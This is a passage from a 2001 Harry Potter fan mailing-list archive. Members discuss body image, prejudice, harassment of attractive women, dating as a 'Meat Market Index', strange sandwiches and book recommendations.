daughter wears as a size 5. However, after having a
child and marrying a man who makes chocolates, bakes
the best carrotcake on the planet, and, thankfully,
hates skinny women, I am now a size 18 (and I'm 5'9",
as well). Now, granted, I could stand to lose 30 lbs,
but I don't obsess over it. And if Andy is going to
come home and make Beef Wellington or something
equally lucious, I'm not one to say 'Sorry, honey, I'm
trying to watch my weight'! 

My worst enemy on all this is not myself, but my
sister. Those of you who were in chat yesterday, I
only have one sister, so yeah, it's the same one. She
is obsessed with weight, runs every night (10 km) and
has a Nordic Track in her bedroom. She does things
like pokes my stomach and says 'what's that?' Of
course, I'm very good at tuning her out, but still,
the comments are unnecessary. Does she really think I
never look in a mirror and that I'm completely unaware
of my size?

I actually see the harm in her behaviour affecting her
daughter. My sister is constantly talking about how
fattening certain foods are and things like that. Now
her 5 year old is coming downstairs and asking if her
clothes make her look fat. At 5 years old! And my
sister just smiles, and says 'I wonder where she gets
that from?' She just doesn't seem to take it as
seriously as she should. 

After reading your post, Ali, I couldn't help but add
that bit of my own.

Sheryll, who has never in her life turned down a meal
someone else has cooked!

=====
"Do not meddle in the affairs of dragons, for thou art crunchy and taste good with ketchup."

__________________________________________________
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From ebonyink at hotmail.com  Mon Sep  3 14:30:23 2001
From: ebonyink at hotmail.com (Ebony)
Date: Mon, 03 Sep 2001 14:30:23 -0000
Subject: Oppressing the overdog
In-Reply-To: <F184QR7j1HaKtKufVma0000244e@hotmail.com>
Message-ID: <9n045v+t2rh@eGroups.com>

Tabouli (I think) wrote:

> Sorry, just felt the urge to comment on this...
> 
> >As well as being stridently opposed to homophobia in all its 
horrid guises, I am also opposed to oppressing the overdog.   Hence 
my comments about >physical beauty being a mixed blessing for women a 
few months ago.
> 

Yeah, people have this really nasty attitude towards pretty girls.  
That's why I'm extremely glad I'm in the average category... but my 
youngest sister came home in tears for a good two years of high 
school because of wanting to be accepted by her (popular) female 
peers, but facing all kinds of resentment because "she thinks she's 
cute".  I always have to hide a smirk whenever I listen to her woes--
her crowd wasn't the kind I favored when I was her age--but her 
concerns are valid.
 
I really think it's jealousy, plain and simple.  And really, there is 
no excuse for it.


> >The same goes for savaging men on the grounds that it's their turn 
to suffer for a change (for God's sake, doesn't female chauvinism 
come under the "two wrongs don't make a right" category?), being 
horrible to thin women (um, isn't the issue we're fighting about body 
image?
> 

I know that a lot of African Americans and Hispanics feel as if they 
have the perfect right to say and think whatever the heck they want 
about whites/Anglos.  This "right to prejudice" actually extends to 
every single other ethnic group in America that in our view is not as 
oppressed as we are.  The prevailing view is that if you are on the 
bottom of the barrel, you *can't* be racist.  Yesterday in chat 
people seemed shocked when I said that I was raised to be a very 
prejudiced person... but I was.  I was taught to believe certain very 
erroneous and wrong things about whites, Jews, East Asians, Indians, 
and people from the Middle East... and even other blacks from the 
Caribbean!  Many are the times where I've had to mentally slap myself 
to get a stereotype out of my head.

NO ONE is free of bias.  We all must unlearn.

Ali wrote:

> *sighs*  Well, living in New York City, I am constantly bombarded 
with armies of thin, perfect women as I walk down the street.  And 
being a college student, most of the girls my age are thin, perfect 
girls.  Personally, I'm what you'd probably call "comfortable" - by 
no means fat, but not thin either.  5'9" and a women's size 12.  

*goggles*  Wow.  I'm 5'9 and I wear a 10-12.  And I'm not considered 
comfortable by anyone I know... I'm considered skinny around here.  
At my last job I learned that a group of co-workers were calling 
me "that black Barbie Doll" because I always dressed well at work and 
tried to present a professional image.  I love my new job because it 
seems as if my colleagues are too busy teaching to worry about what I 
wear... they wear t-shirts and jeans, the most casual I'll EVER get 
on the job is a nice school logo polo and khakis (and that, only on 
the occasional Friday), but we're all there to teach.  I like that.

I really think the weight issue is all a matter of cultural 
perspective.  Our aesthetic standard tends to be more voluptuous than 
mainstream white society's... it's only now that eating disorders 
like anorexia and bulimia are hitting our community, and to be quite 
honest, it's really those of our girls who don't live around a lot of 
other blacks.  Now, I can say quite honestly that I never fit the 
mold of traditional black beauty... I'm a tad too dark, my chest and 
my hips aren't generous enough, and my hair has to be either lyed or 
fried to lay straight.  I used to have semi-major issues related to 
this... my mother and my youngest sister are much lighter than I am, 
and the other sister has naturally wavy/curly hair.  Both of my 
sisters have smaller noses, too, and in college I was told by my best 
guy friend "you would be the most beautiful girl I know if your nose 
wasn't so big" in all earnestness.  So I spent a great deal of the 
first couple of decades of my life loathing the way I looked.  (Don't 
most girls?)

Anyway.  What pisses me off the most is when people don't think that 
thin women have just as many body image issues as larger ones.  I 
remember crying every day for a month in sixth grade and overeating 
for most of my adolescence... all in a vain attempt to gain weight 
and get curves.  But I was and am fighting nature... no one on either 
side of the family is overweight, and by gorging on junk food I did 
nothing but set myself on the road to the chronic health issues I 
have now.  (Having quick metabolism is NOT always a Good Thing.  In 
my case, it was a Very Bad Thing Indeed that's landed me in the 
hospital quite a few times since I've reached adulthood.)

Just like people compliment larger women on losing weight, I get 
complimented whenever I gain it (this has only happened twice--the 
summer my father died I gained 30 pounds, and this summer in England 
I think I gained a good 25 because they stuffed us so!).  And 
whenever I lose it, people tell me I'm starting to look sickly!

Conclusion:  really, people ought to leave women the heck alone and 
realize that our beauty is more than skin deep.

And women need to realize that all the divisiveness is unnecessary, 
and counterproductive to our aims.  No matter what we look like, what 
our sexual preference is, what our socioeconomic status is, or where 
we live in the world, the fact remains that we are all women... more 
than one-half of the human population, and still so very subjugated 
and oppressed in much of the world.

--Ebony AKA AngieJ




From rainy_lilac at yahoo.com  Mon Sep  3 14:47:33 2001
From: rainy_lilac at yahoo.com (rainy_lilac at yahoo.com)
Date: Mon, 03 Sep 2001 14:47:33 -0000
Subject: Oppressing the overdog
In-Reply-To: <00d701c133bb$c3e2b4c0$ef91aecb@price>
Message-ID: <9n0565+f5gh@eGroups.com>

--- In HPFGU-OTChatter at y..., "Tabouli" <tabouli at u...> wrote:
> Sheryll:
She didn't say much, and wore sleeveless summer dresses which were 
short but not outrageously so (mid thigh-ish).  The reaction from the 
other women (all the students were women, mostly aged 30-50) in the 
course was quite disturbing.


Tabouli, you message struck quite a cord with me. I have had to deal 
with this kind of abuse a lot. It is really amazing how otherwise 
perfectly nice people will suddenly think it is okay to savage 
someone because of how they look. I have actually had people say 
straight to my face that because I look the way I do I have had the 
good breaks "all" my life, have "always" enjoyed favor and attention, 
and now they are going to "even the score" a bit. One really bright 
lady (who prided herself on being a feminist!) derided me by calling 
me "nothing but a pair of stiff tits". I even had a professor once 
shout at me in class "So Suzanne, have you always been so thin or are 
you anorexic?" The class thought it was really funny.

Yikes.

Okay. Not to make a big deal of it, but I worked as a model once. I 
am a pretty girl, my boobs are a B-cup and not especially big, and I 
was until a few years ago a steady size four. Can't help it, it is my 
genes. I eat like a horse, thank you, and was never anorexic. I never 
fussed about how I looked or even wore makeup (outside of modelling 
gigs, which by the way were WORK and not glamourous at all) until I 
was thirty. I am well rounded, bright, went to Smith College, and 
have published my work. No matter how well I have done academically 
or at work, though, I have been assumed a bimbo until I have proven 
otherwise.

I am not a born winner. I was not a cheerleader. I did not date until 
I was seventeen because I had no confidence at all growing up. I was 
the geeky nerdy kid who always had seven books in her bag and wore 
frumpy clothing. I thought it was funny when some guy told me I was 
pretty for the first time. I didn't believe him. I was fourteen and 
he was a junior professor at Syracuse U. He send me embarassing love 
letters for a year and used to followed me around on campus. Then he 
would write me more letters in which he claimed to know everyhwere I 
was going, etc. He always called me "Beatrice", which I was too young 
to realize was an allusion to Dante. Largely because of this very 
confusing and scary experience, I DON'T get any pleasure out of men 
who make a big deal about how I look. I associate it with people who 
care about nothing else, or who don't see me as being really human or 
having feelings or who think it is okay to act out their fantasies on 
me. Kinda like that lady who called me "nothing but a stiff pair of 
tits". I guess it didn't occur to her that I would be hurt by her 
words. 

It continued in college. Some guy saw my picture in an ad downtown 
and followed me around on campus trying to photograph me. When I did 
not respond favorably, he verbally assaulted me on the street hurling 
abuse about "bitches who think they are so big because they have tits 
and ass". (Geez, I didn't even have tits or ass at that time-- I was 
anorexic, remember?) He was finally arrested when he tried to pitch 
his tent on the lawn of my dormitory. I had to switch dorms on the 
advice of campus security. No, I did not feel flattered by the 
attention. I did not smile provocatively over my shoulder or slip on 
designer sunglasses as campus security moved me to another building. 
I was devastated, and thought that somehow it was all my fault. I 
resolved to work on being frumpier.

I have never ever felt at any advantage because of how I look. I have 
quite the opposite felt assaulted, hurt, used, and labelled regularly 
because of it. I can celebrate now because at least I am no longer 
the young waif type-- people really like to make you suffer if you 
commit that sin. Now I am an "aging beauty" as someone once referred 
to me in conversation. I had to laugh. I replied before walking 
away, "Yep, it's true. I am beautiful. And I am not born yesterday."

It is only now that I actually feel good about how I look.

I would love to know where people ever got the idea that it is okay 
to be rude and abusive to anybody for any reason?

My two knuts,

Suzanne




From tabouli at unite.com.au  Mon Sep  3 15:31:18 2001
From: tabouli at unite.com.au (Tabouli)
Date: Tue, 4 Sep 2001 01:31:18 +1000
Subject: The Meat Market Index
Message-ID: <003501c1348d$8fb32540$0493aecb@price>

Ali:

> *sighs*  Well, living in New York City, I am constantly bombarded with 
> armies of thin, perfect women as I walk down the street.  And being a 
> college student, most of the girls my age are thin, perfect girls.  
> Personally, I'm what you'd probably call "comfortable" - by no means fat, 
> but not thin either.  5'9" and a women's size 12.  Which I think is a 
> perfectly reasonable size to be, though being a 10 would be nice.  But when 
> surrounded by size 2's on a daily basis, it's a little hard not to be 
> bitter.
>
>Thank god I have a boyfriend.  The competition here is a kinda steep.

This reminds me of something that happened in this Egyptian dancing class I did a few months ago.  There were about 15 young women (most about 20yos) in the class, of whom one was from New York and the others were Australian, and someone mentioned rice crackers.  The NY woman commented that they were great, and only had x calories each, whereupon the others shrugged at each other in amused mystification.  "Do they?" asked one woman indifferently.

My cross-cultural ears pricked up.  Given that these women were all university undergraduates (i.e. similar demographically), could it be that young American women are much more diet-conscious than young Australian women?  It looked to me like none of the Australians had ever calorie counted, or at least, certainly not to the point of knowing how many calories there were in certain foods.  Not that Australian women don't fret about their body shape, mind you, they just seem less controlled and organised about it.

You know, I had a couple of years of my life where I bought into this idea of women's attractiveness being measured in terms of how far they deviate from the media ideal and it was hellish.  Why did I go there?  Because I had two successive relationships with men who saw their girlfriend primarily as a sort of sexual accessory, there for having sex with and wearing on the arm as a measure of their social status.  Women, in their view, were a sort of perishable consumer product, and when they went shopping at the meat market, they assessed them accordingly, almost like buying a car.  Hmmm yes, handles well on curves but a little high on mileage, what do you think, guys?  Can I get better value for my money?

It was all very interesting, what these two frightful men did to my body image.  Before them, I'd just about cured my adolescent body traumas and recognised that even though I deviate quite a fair way from the media ideal I never seemed to be short of male attention by virtue of being viviacious and cheery and articulate, at least on good days, even in the presence of women much closer to the media ideal.  Someone once told me that bimbos found me very threatening for this reason!  After these men, however... (quotable quote from Awful Man I: "Why can't you just face the fact that you're not particularly attractive, and get on with your life instead of being so insecure about it, for God's sake?  Just get over it!"  Quotable quote from Awful Man II when trying to reassure me: "I'd rather go out with you than a Good-Looking Woman, because...")

I started obsessively comparing myself with every woman I saw, looking at them through my dodgy boyfriends' eyes and despairing at my conclusion that at least 90% of them were closer to the media ideal than me.  I looked in the mirror and saw a dumpy little woman with a flat chest, stumpy legs, a broad face, bad skin, eyebags and limp hair, destined to whoever was left over after any man worth having had claimed a Good Looking Woman.  I started resenting the female friends that my charming boyfriends had informed me were better looking than me.  I became miserable and withdrawn, avoided mirrors, and, after a period, flirted desperately with any man I met to try to prove to myself that I *was* attractive, trying to swallow the terrible fear that all men, deep down, are just the same as those two.

But then, after a recuperating overseas trip, I came to a realisation that it's much healthier to view yourself in terms of absolute value, rather than comparative value on the Meat Market Index.  All this trying to fiddle the figures and put on acts to *appear* a higher scorer on the Index than you are, all those magazine articles teaching you how to act attractive and manipulate him into "buying" before he realises... blagggh.  For a start, a woman's value on the MMI depreciates horribly; absolute value is much more stable.

I want a partner who wants me for who I am as a unique person, my absolute value, not because I'm about the highest on the MMI he thinks he can catch.  How insulting.  These days I have very little time for men who run their love lives according to the MMI, and assume women do too.  There *are* people out there who don't buy into the MMI, and they're the people I now cultivate in my life.  And you know what?  I feel much better for it.

Tabouli.


[Non-text portions of this message have been removed]




From Alyeskakc at aol.com  Mon Sep  3 17:30:01 2001
From: Alyeskakc at aol.com (Kristin)
Date: Mon, 03 Sep 2001 17:30:01 -0000
Subject: Happy Birthday Meg!
In-Reply-To: <00f301c13479$716339e0$10ccfea9@computer>
Message-ID: <9n0emp+1is9@eGroups.com>

Happy Birthday Meg!  I hope it was a good one and that all your 
wishes came true.

Cheers,

 Kristin




From michelleapostolides at lineone.net  Mon Sep  3 18:48:46 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Mon, 3 Sep 2001 19:48:46 +0100
Subject: [HPFGU-OTChatter] The Meat Market Index
References: <003501c1348d$8fb32540$0493aecb@price>
Message-ID: <003701c134a9$10a8cd60$ee237bd5@tmeltcds>

 absolute value is much more stable.
>
> I want a partner who wants me for who I am as a unique person, my
absolute value, not because I'm about the highest on the MMI he thinks
he can catch.  How insulting.  These days I have very little time for
men who run their love lives according to the MMI, and assume women do
too.  There *are* people out there who don't buy into the MMI, and
they're the people I now cultivate in my life.  And you know what?  I
feel much better for it.

Wow. I never thought about it like that. But then the MMI never applied
to me to begin with because I was born with multiple physical and
sensory disabilities - not severe but those words are the quickest way
to put it. I think I always thought in terms of absolute value. But at
fast approaching thirty, I still haven't worked out how you tell a guy
that there are problems. I had a friend who was also born with a
physical problem - she changed boyfriend from week to week. But she
always maintained that we would get the nicer boyfriends because they
would have to be more understanding in the first place. I've yet to
check out this theory since my emergence into full adult life but will
report back with any findings...

these body image and dating threads are fascinating and good food for
thought. Let's hear what you men think now !

Michelle




From rainy_lilac at yahoo.com  Mon Sep  3 19:13:21 2001
From: rainy_lilac at yahoo.com (rainy_lilac at yahoo.com)
Date: Mon, 03 Sep 2001 19:13:21 -0000
Subject: The Meat Market Index
In-Reply-To: <003701c134a9$10a8cd60$ee237bd5@tmeltcds>
Message-ID: <9n0koh+7ot2@eGroups.com>

--- In HPFGU-OTChatter at y..., "Michelle Apostolides" 
<michelleapostolides at l...> wrote:
>  absolute value is much more stable.
> >
> > I want a partner who wants me for who I am as a unique person, my
> absolute value, not because I'm about the highest on the MMI he 
thinks
> he can catch.  


I will settle for nothing less. My inner radar picks up the guys 
looking for arm-candy pretty fast. NOTHING is a bigger turn-off for 
me. I give a lot to my relationships, and I want relationships that 
are going to be tehre for the long haul.

I feel very lucky to have the friends and lovers life has given me. 
Things do work out! 

Hugs,

Suzanne




From rainy_lilac at yahoo.com  Mon Sep  3 19:16:01 2001
From: rainy_lilac at yahoo.com (rainy_lilac at yahoo.com)
Date: Mon, 03 Sep 2001 19:16:01 -0000
Subject: Peanut Butter (was Vile sandwiches)
In-Reply-To: <9mvpdj+i3ve@eGroups.com>
Message-ID: <9n0kth+6c8k@eGroups.com>


> Neil wrote:
> 
> > Why anyone would want to work peanut butter around their mouth 
and 
> pass it
> > through their digestive system, I have no idea.  
> 


I am wondering if this is an American thing. Whenever I have lived 
abroad everyone has been aghast at my taste for peanut butter! When I 
lived in Turkey I had to send out for it and my students would LAUGH 
at me!

Whose idea was peanut butter anyway?

Suzanne




From rainy_lilac at yahoo.com  Mon Sep  3 19:19:17 2001
From: rainy_lilac at yahoo.com (rainy_lilac at yahoo.com)
Date: Mon, 03 Sep 2001 19:19:17 -0000
Subject: Vile sandwiches - Onion
In-Reply-To: <9mtqmd+its1@eGroups.com>
Message-ID: <9n0l3l+ofsu@eGroups.com>


Okay, here was my favorite as a child (after my mashed potato 
sandwich phase) which was guaranteed to drive everyone off:

Thick slices of videlia onions lightly fried in butter served layered 
up in toasted bread. Yummmmmmmmmmmmmmmmm......

No peanut butter on this one.


Suzanne




From jenP_97 at yahoo.com  Mon Sep  3 19:43:49 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Mon, 03 Sep 2001 19:43:49 -0000
Subject: Vile sandwiches - Onion
In-Reply-To: <9n0l3l+ofsu@eGroups.com>
Message-ID: <9n0mhl+7m87@eGroups.com>

--- In HPFGU-OTChatter at y..., rainy_lilac at y... wrote:
> 
> Okay, here was my favorite as a child (after my mashed potato 
> sandwich phase) which was guaranteed to drive everyone off:
> 
> Thick slices of videlia onions lightly fried in butter served 
layered 
> up in toasted bread. Yummmmmmmmmmmmmmmmm......
> 
> No peanut butter on this one.
> 
> 
> Suzanne

Mashed potato sandwiches!  That reminds me of *my* weird sandwich (I 
think that subconciously I know it's not weird, so I didn't think of 
it right away when this thread started...)

I put leftover spaghetti (with sauce, meat sauce is even better) 
between bread for a spaghetti sandwich.  And the spaghetti HAS to be 
cold, with parmesan cheese mixed in.  My husband thinks I'm REALLY 
strange for doing it.  

Jen (who's going to make some spaghetti really soon, now that she has 
it on her mind...)

ps.  the vidalia onion sandwich isn't too weird... my husband does 
that all the time.  Of course, he is weird, so maybe I was wrong.





From macloudt at yahoo.co.uk  Mon Sep  3 20:52:29 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Mon, 03 Sep 2001 20:52:29 -0000
Subject: Peanut Butter (was Vile sandwiches)
In-Reply-To: <9n00gg+pojh@eGroups.com>
Message-ID: <9n0qid+qqrg@eGroups.com>


> --jenny from ravenclaw, who, on Halloween, pretty much stole 
anything 
> from her students that was Reese's related (Nutrageous was 
> particularly delicious) **************************************


I ask you, how can England call itself a First World Nation when it 
has nothing remotely similar to Reese's peanut butter cups?  Six 
years of deprivation, and I'm sinking fast...


Mary Ann, immigrant Canadian who will collapse soon without Reese's 
and Nanaimo bars :(  (anybody have a recipe for the latter?)




From macloudt at yahoo.co.uk  Mon Sep  3 21:08:25 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Mon, 03 Sep 2001 21:08:25 -0000
Subject: Oppressing the overdog
In-Reply-To: <9n0565+f5gh@eGroups.com>
Message-ID: <9n0rg9+a78u@eGroups.com>

> I would love to know where people ever got the idea that it is okay 
> to be rude and abusive to anybody for any reason?
> 
> My two knuts,
> 
> Suzanne

Two words, Suzanne:  sad bastards.  The world is full of them, 
crossing all gender, ethnic, and national boundaries.  It seems as if 
you can't win; a physically attractive person like yourself is 
abused, as is a 5'2" frumpy overweight butterball like myself.  These 
S.B.'s have nothing in their own lives, probably due to their own 
lack of initiative, and take on their frustrations upon anyone who 
appears to have any advantage over them (you, me, or a houseplant for 
example).

What a lovely world this would be if all those kind of people were 
rounded up and jettisoned into space.  And imagine all the room left 
on Earth; we could each have our own country!

Gearing up the sheepdogs and firing up the rocket boosters, 

Mary Ann




From hamster8 at hotmail.com  Mon Sep  3 21:17:39 2001
From: hamster8 at hotmail.com (hamster8 at hotmail.com)
Date: Mon, 03 Sep 2001 21:17:39 -0000
Subject: Peanut Butter (was Vile sandwiches)
In-Reply-To: <9n0qid+qqrg@eGroups.com>
Message-ID: <9n0s1j+evea@eGroups.com>

Mary Ann ...

"I ask you, how can England call itself a First World Nation when it 
has nothing remotely similar to Reese's peanut butter cups?  Six 
years of deprivation, and I'm sinking fast..."

You're obviously not looking in the right places, then.  Jerry's Home 
Store in the Bentall's Centre, Kingston-Upon-Thames stocks them, or 
at least, did last time I was in there.  IIRC, they are actually 
quite easy to get hold of.  I just can't remember where (don't get 
your hopes up, but I think possibly Waitrose)

I got addicted to those things in the late 80s when my Dad, who was 
going back and forth on business quite a lot, brought back a load for 
me.

First World Nation indeed ... tch

Al






From dfrankiswork at netscape.net  Mon Sep  3 21:18:38 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Mon, 03 Sep 2001 21:18:38 -0000
Subject: The Meat Market Index
In-Reply-To: <003501c1348d$8fb32540$0493aecb@price>
Message-ID: <9n0s3e+2rmv@eGroups.com>

--- In HPFGU-OTChatter at y..., "Tabouli" <tabouli at u...> wrote:
> I want a partner who wants me for who I am as a unique person, my 
absolute value, not because I'm about the highest on the MMI he 
thinks he can catch.  How insulting.  These days I have very little 
time for men who run their love lives according to the MMI, and 
assume women do too.  There *are* people out there who don't buy into 
the MMI, and they're the people I now cultivate in my life.  


I'm sure you will succeed if you keep your nerve.  There's obviously 
a lot about you (I mean as well as the hazel eyes, the sylph-like 
figure, the exotic looks, the vivacious manner...).

David




From macloudt at yahoo.co.uk  Mon Sep  3 21:18:28 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Mon, 03 Sep 2001 21:18:28 -0000
Subject: Peanut Butter (was Vile sandwiches)
In-Reply-To: <9n0kth+6c8k@eGroups.com>
Message-ID: <9n0s34+hf31@eGroups.com>

> 
> I am wondering if this is an American thing. Whenever I have lived 
> abroad everyone has been aghast at my taste for peanut butter! When 
I 
> lived in Turkey I had to send out for it and my students would 
LAUGH 
> at me!
> 
> Whose idea was peanut butter anyway?
> 
> Suzanne


This reminds me of a great story an anthropology prof once told me.  
Some of his colleagues were doing long-term field studies somewhere 
in Central Africa, and after several months they began to crave 
peanut butter sandwiches.  When their Care Package arrived, lo and 
behold, there was loaf of bread and a jar of the stuff.  But while 
they were gleefully making up their sandwiches, in my prof's own 
words, "you can imagine what the locals thought they were spreading 
on their bread!".

Hope that hasn't put anyone off their breakfast!

Mary Ann (who is having Marmite on her toast tomorrow morning)




From editor at texas.net  Tue Sep  4 01:04:09 2001
From: editor at texas.net (Amanda Lewanski)
Date: Mon, 03 Sep 2001 20:04:09 -0500
Subject: Body Image (was Re: [HPFGU-OTChatter] Oppressing the overdog)
References: <20010903133849.16418.qmail@web14604.mail.yahoo.com>
Message-ID: <3B942889.69374186@texas.net>

Sheryll Townsend wrote:

> I am now a size 18 (and I'm 5'9",
> as well).

YAAAY! I don't have to worry about you thinking how big I am!!

> Now, granted, I could stand to lose 30 lbs,
> but I don't obsess over it.

I suspect I just don't have *time* to obsess over it.

>  She[ryll's sister] is obsessed with weight, runs every night (10 km)
> and has a Nordic Track in her bedroom.

I have a Nordic Trac in my bedroom, too. Perfect place to hang pantyhose
to dry, I must say.

> I actually see the harm in her behaviour affecting her
> daughter. My sister is constantly talking about how
> fattening certain foods are and things like that. Now
> her 5 year old is coming downstairs and asking if her
> clothes make her look fat. At 5 years old!

This, worry about. I thought my mother was the most beautiful woman in
the world, and she constantly told me how unhappy she was with how she
looked and how fat she was. Now my husband tells me I am beautiful, and
I constantly tell him how unhappy I am with how I look and how fat I am.
Because of this, I refuse to pass the legacy on, and have never spoken a
self-derogatory word in front of my daughter. Which has been *damned*
hard, I'm so in the habit, but I really think I could damage her if I
did. Who knows, she might really think I'm the most beautiful woman in
the world....

> Sheryll, who has never in her life turned down a meal
> someone else has cooked!

Who has never seen the sorts of things *I* cook....

--Amanda (I'm *kidding*, we haven't had to break out that stomach pump
but once)


[Non-text portions of this message have been removed]




From tgrzdlphns at yahoo.com  Tue Sep  4 01:39:51 2001
From: tgrzdlphns at yahoo.com (TgrzDlphns)
Date: Mon, 03 Sep 2001 21:39:51 -0400
Subject: [HPFGU-OTChatter] Re: children's books
In-Reply-To: <F159edbyuJfEg897Bqg00007557@hotmail.com>
Message-ID: <5.0.2.1.2.20010903213723.033a73f0@pop.mail.yahoo.com>

At 11:36 AM 8/30/2001 -0400, you wrote:

> >Amy -
> >Tell me about Pullman. I'm unfamiliar with his work, and the one
> >person I've asked about him disliked his work rather vehemently. I'd
> >be interested to hear from someone who likes his him. I'm in a
> >reading funk and wondering if Pullman is what I should pick up next.
> >If so, where do I start?
>
>Well, I'm obviously not Amy, but... ;}
>
>I adore Phillip Pullman.  I don't always agree with where he decides to take
>the plot and characters, but his stories are so thoroughly engrossing and
>brilliant that I can't help but love them anyway.  If you're looking for
>something more complex, I suggest picking up a copy of "The Golden Compass,"
>the first book in the His Dark Materials trilogy.
>
>He's also written several books intended for younger readers..."I Was a
>Rat," though not nearly as enthralling as his trilogy, is very funny and
>enjoyable.  I also liked "The Firework Maker's Daughter."
>
>Ali


Thanks for the suggestions. I've picked up Pullman's work as well as Diana 
Wynne Jones...Tamora Pierce is recommended by many but her books seem too 
few pages for my speed of reading.

Does anyone have any other recommendations? I'm headed off on a half dozen 
hour flight later this week and would be interested in checking some new 
authors out.

Bree
A Newbie :)



Enjoy the Harry Potter books? If so, check out my take on Harry and his 
friends. My fanfic can be found at 
http://www.fanfiction.net/index.fic?action=directory-authorProfile&userid=102928




From miss_megan at dingoblue.net.au  Tue Sep  4 02:05:23 2001
From: miss_megan at dingoblue.net.au (storm)
Date: Tue, 04 Sep 2001 02:05:23 -0000
Subject: Vile sandwiches - Onion
In-Reply-To: <9n0l3l+ofsu@eGroups.com>
Message-ID: <9n1ct3+fgp1@eGroups.com>

Suzanne said
> 
> Okay, here was my favorite as a child (after my mashed potato 
> sandwich phase) which was guaranteed to drive everyone off:
> 
ok, so I'm sad and live without any other humans but I sometimes have 
this for dinner - It's good! specally if you mash the potato with 
cheese - mmmmm all that fat tastes good!

storm




From miss_megan at dingoblue.net.au  Tue Sep  4 02:11:35 2001
From: miss_megan at dingoblue.net.au (storm)
Date: Tue, 04 Sep 2001 02:11:35 -0000
Subject: children's books
In-Reply-To: <5.0.2.1.2.20010903213723.033a73f0@pop.mail.yahoo.com>
Message-ID: <9n1d8n+daga@eGroups.com>

Breee asked:
> 
> Does anyone have any other recommendations? I'm headed off on a 
half dozen 
> hour flight later this week and would be interested in checking 
some new 
> authors out.
> 

Bree here's a link to a data base in the main list. There is a list 
there of various books that listers have recommended. Let us know 
what you think of any of them!

http://groups.yahoo.com/group/HPforGrownups/database?method=reportRows
&tbl=2

feel free to add your own favourites

storm





From meboriqua at aol.com  Tue Sep  4 02:14:58 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Tue, 04 Sep 2001 02:14:58 -0000
Subject: Oppression and MMI
Message-ID: <9n1df2+1um8@eGroups.com>

Okay, I have my fingers crossed that my online will not quit on me 
like it did three times in a row earlier.

Wow - I have so much to say.  About oppression and Ebony's post:  what 
almost every group has in common is the prejudices each group holds.  
Ebony is not alone in that she was brought up to believe so many 
stereotypes about different religions and races.  Many of my African 
American students believe some of the dumbest things I have ever heard 
about white people, Jews, Asians, etc.  OTOH, many Jewish people I 
know say outrageous things about African Americans.  It's a shame that 
racism is a common link.

What bothers me about oppressed groups being racist is that being 
oppressed is not the ultimate excuse to never succeed.  My students 
can come up with every example in the book of how they've been treated 
poorly because of their skin color, but that does not mean that 
So-and-so should never look for a legal job and sell drugs instead.  
Do not complain about what you will not try to change for yourself.

What bothers me about majorities being racist is that I cannot 
understand how people can be filled with so much hatred.  White men 
have it pretty damned good.  My boyfriend will always be Puerto Rican; 
he can't hide it.  It will always cause reactions from people no 
matter how successful he may be in years to come.  That sucks.  It 
makes me angry enough to want to scream because he is my boyfriend and 
I love him very much - how can the police, white people in the 
neighborhood, potential bosses, etc. judge him so harshly just by 
looking at him when he is such a good person?  Why do they think that 
he is lesser?  Why the hell do they care?  The same goes for my 
students.  I get such a kick out of the fact that my students are such 
tough kids (they really are) but because I know them so well, are such 
babies too.  What a shame others cannot see them the way I do - as 
funny, silly, sensitive, smart kids.

MMI - Ebony, I posted something very similar about body image a few 
months back.  I am caught between two worlds: the you-must-be-skinny 
world of my suburban Jewish family and the I-like-your-fat-ass world 
of my students and boyfriend, who are all either African American or 
Latino.  It's sometimes painful to be with my family because I want to 
scarf down three pieces of cake but they'll stare.  However, many of 
my students have health problems that are related to their diet and 
weight.  My boyfriend likes my curves, though, and that is very nice 
for me.  :-)

Let's face it - we live in a superficial society.  Weight and looks 
are very important.  I agree with Tabouli, though, that it is how we 
view ourselves that will make the difference.  If I want to be a 
trophy wife I know where to look to get a man (I've been there - I 
weighed about 100 pounds a few years ago).  Since I do not want a man 
who will treat me like an object, that is not what I have.  Raul and I 
stay up talking late into the night all the time.  I am more 
physically comfortable around him than any other person on the planet.  
The fact that he is handsome has nothing to do with who he wants as a 
mate.  In fact, things did not work with Raul until I took time for 
myself and found what I love to do and that being just me is the best 
thing of all.

--jenny from ravenclaw,




From miss_megan at dingoblue.net.au  Tue Sep  4 02:18:10 2001
From: miss_megan at dingoblue.net.au (storm)
Date: Tue, 04 Sep 2001 02:18:10 -0000
Subject: Peanut Butter (was Vile sandwiches)
In-Reply-To: <9n0kth+6c8k@eGroups.com>
Message-ID: <9n1dl2+oqr5@eGroups.com>

Suzanne asked:
> 
> Whose idea was peanut butter anyway?
> 
Ask and you shall recieve!

http://www.peanutbutterlovers.com/History/

I remember reading about it as a child and thought it was Geoge 
Washington Carver but this site suggests several ppl before hand had 
marketed something similar.

storm




From triner918 at aol.com  Tue Sep  4 02:22:36 2001
From: triner918 at aol.com (Trina)
Date: Tue, 04 Sep 2001 02:22:36 -0000
Subject: Vile sandwiches (was EUS, was People United ...)
In-Reply-To: <3B9196AF.42D8A9D8@texas.net>
Message-ID: <9n1dtc+2hhs@eGroups.com>

Amanda wrote:
Bananas and peanut butter are wonderful,too, but too hard to make 
into a sandwich.

Not if you mash up your banana with your peanut butter.  It looks 
nasty, but is very tasty.

My mom suggested I try toasting a piece of bread, spreading peanut 
butter on it and adding a slice of tomato to it.  Now, *that* was a 
vile sandwich idea!

Trina




From g_keddle at yahoo.com  Tue Sep  4 02:31:15 2001
From: g_keddle at yahoo.com (g_keddle at yahoo.com)
Date: Tue, 04 Sep 2001 02:31:15 -0000
Subject: Vile sandwiches (was EUS, was People United ...)
In-Reply-To: <9n1dtc+2hhs@eGroups.com>
Message-ID: <9n1edj+nibl@eGroups.com>

--- In HPFGU-OTChatter at y..., "Trina" <triner918 at a...> wrote:
> Amanda wrote:
> Bananas and peanut butter are wonderful,too, but too hard to make 
> into a sandwich.
> 
> My mom suggested I try toasting a piece of bread, spreading peanut 
> butter on it and adding a slice of tomato to it.  Now, *that* was a 
> vile sandwich idea!
> 
> Trina

My husband occasionally gets cravings for peanut butter and dill 
